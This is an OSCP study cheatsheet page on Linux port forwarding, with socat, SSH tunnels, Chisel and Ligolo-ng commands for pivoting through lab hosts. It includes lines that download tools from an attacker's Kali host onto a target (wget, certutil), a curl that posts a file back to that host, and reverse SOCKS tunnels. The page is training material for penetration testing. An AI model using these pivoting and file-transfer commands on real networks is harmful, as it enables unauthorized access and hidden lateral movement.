OSCP Cheatsheet
  • Reference List
  • Basic
  • Methodology
    • Basic Scans
    • Service Enumeration
      • TCP: HTTP(S) - 80 / 443
      • TCP: SMB - 139 / 445
      • TCP: FTP - 21
      • TCP/UDP: DNS - 53
      • TCP: SSH - 22
      • TCP/UDP: LDAP - 389 / 636 / 3268
      • TCP/UDP: Kerberos - 88
      • UDP: SNMP - 161
      • TCP: SMTP - 25
      • TCP: RDP - 3389
      • TCP: RPC - 135 / 593
      • TCP: Evil-WinRM - 5985 / 5986
      • TCP: MYSQL - 3306
      • TCP: MSSQL - 1433
      • TCP: Confluence - 8090
    • Extras
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    • Linux
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  • Privilege Escalation
    • Linux
      • Abusing Cron Jobs
      • Abusing Password Authentication
      • Abusing Setuid Binaries and Capabilities
      • Abusing Sudo
      • Exploits
    • Windows
      • Service Binary Hijacking
      • DLL Hijacking
      • Unquoted Service Paths
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      • Exploits
  • Port Forwarding
    • Linux
    • Windows
  • Attacks
    • Public Exploits
    • User Creation
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      • Custom Rules
      • Custom Password List
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On this page
  • IMPORTANT NOTE
  • Socat
  • On CONFLUENCE01
  • On Kali
  • SSH
  • SSH Local Tunneling
  • SSH Dynamic Tunneling
  • SSH Remote Port Forwarding
  • SSH Remote Dynamic Port Forwarding
  • Chisel
  • On Kali
  • On CONFLUENCE01
  • Ligolo-Ng
  • Setup
  • Tunnel
  1. Port Forwarding

Linux

PreviousPort ForwardingNextWindows

Last updated 20 days ago

IMPORTANT NOTE

NOTE: REMEBER TO CHANGE THE PORT NUMBER IN /ETC/PROXYCHAINS TO KALI PORT YOU HAVE SET UP. (SAFEST IS TO KEEP ALL THE PORT THE SAME TO AVOID CONFUSION)

Socat

On CONFLUENCE01

socat -ddd TCP-LISTEN:<CONFLUENCE01 Port>,fork TPC:<PGDATABASE01 IP Address>:<PGDATABASE01 Port>

On Kali

Any commands running on Kali to be pointed to CONFLUENCE01 IP Address

SSH

SSH Local Tunneling

On CONFLUENCE01

ssh -N -L 0.0.0.0:<CONFLUENCE01 Port>:<HRSHARES01 IP Address>:<HRSHARES Port> <PGDATABASE01 Username>@<PGDATABASE01 IP Address>

On KALI

Any commands running on Kali to be pointed at CONFLUENCE01 IP Address

SSH Dynamic Tunneling

On CONFLUENCE01

ssh -N -D 0.0.0.0:<CONFLUENCE01 Port> <PGDATABASE01 Username>@<PGDATABASE01 IP Address>

On Kali

Any commands running on Kali to be pointed at HRSHARES01 IP Address via Proxychains

SSH Remote Port Forwarding

On CONFLUENCE01

ssh -N -R 127.0.0.1:<Kali Port>:<PGDATABASE01 IP Address>:<PGDATABASE01 Port> kali@<Kali IP Address>

On Kali

Any commands running on Kali to be pointed at Loopback address

SSH Remote Dynamic Port Forwarding

On CONFLUENCE01

ssh -N -R <Kali Port> kali@<Kali IP Address>

On Kali

Any commands running on Kali to be pointed at PGDATABASE01 IP Address

Chisel

On Kali

To start server

chisel server --port 8080 --reverse

To monitor network streams

sudo tcpdump -nvvvXi tun0 tcp port 8080

Any commands running on Kali to be pointed at PGDATABASE01 IP Address via Proxychains

On CONFLUENCE01

To install chisel on target machine

wget <Kali IP Address>/chisel -O /tmp/chisel && chmod +x /tmp/chisel

To port forward

/tmp/chisel client <Kali IP Address>:<Kali Port> R:socks > /dev/null 2>&1 &

To view the error output

/tmp/chisel client <Kail IP Address>:<Kali Port> R:socks &> /tmp/output; curl --data @/tmp/output http://<Kali IP Address>:<Kali Port>/

Ligolo-Ng

NOTE: When using nmap, add --unprivileged OR -PE to avoid false positives

Setup

On Kali

1
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ip route add <Internal net>/24 dev ligolo
2
mkdir ligolo && cd ligolo
3
mkdir proxy && cd proxy
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
tar -xf ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz && rm ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
cd ..
4
mkdir ../agents && cd ../agents
mkdir windows && cd windows
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_windows_amd64.zip
unzip ligolo-ng_agent_0.7.5_windows_amd64.zip && rm ligolo-ng_agent_0.7.5_windows_amd64.zip
cd ..
5
mkdir linux && cd linux
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_linux_amd64.tar.gz
tar -xf ligolo-ng_agent_0.7.5_linux_amd64.tar.gz && rm ligolo-ng_agent_0.7.5_linux_amd64.tar.gz
cd ..
6
python3 -m http.server 80

On Target Machine

certutil -urlcache -split -f http://<Kali IP Address>/<windows / linux>/agent.exe

Tunnel

On Kali

./proxy -selfcert

NOTE: Run the above command in /ligolo/proxy

On Target Machine

agent.exe -connect <Kali IP Address>:<Kali Listening port> -ignore-cert

NOTE: Once agent connects to server, return to Kali Machine and follow the steps in ligolo-ng console

session
<SELECT WHICH SESSION>
start

NOTE: Add the following if you want the internal to reach you. E.G. reverse shell

listener_add --addr 0.0.0.0:<Kali Port> 127.0.0.1:<Kali Port>

Verify

listener_list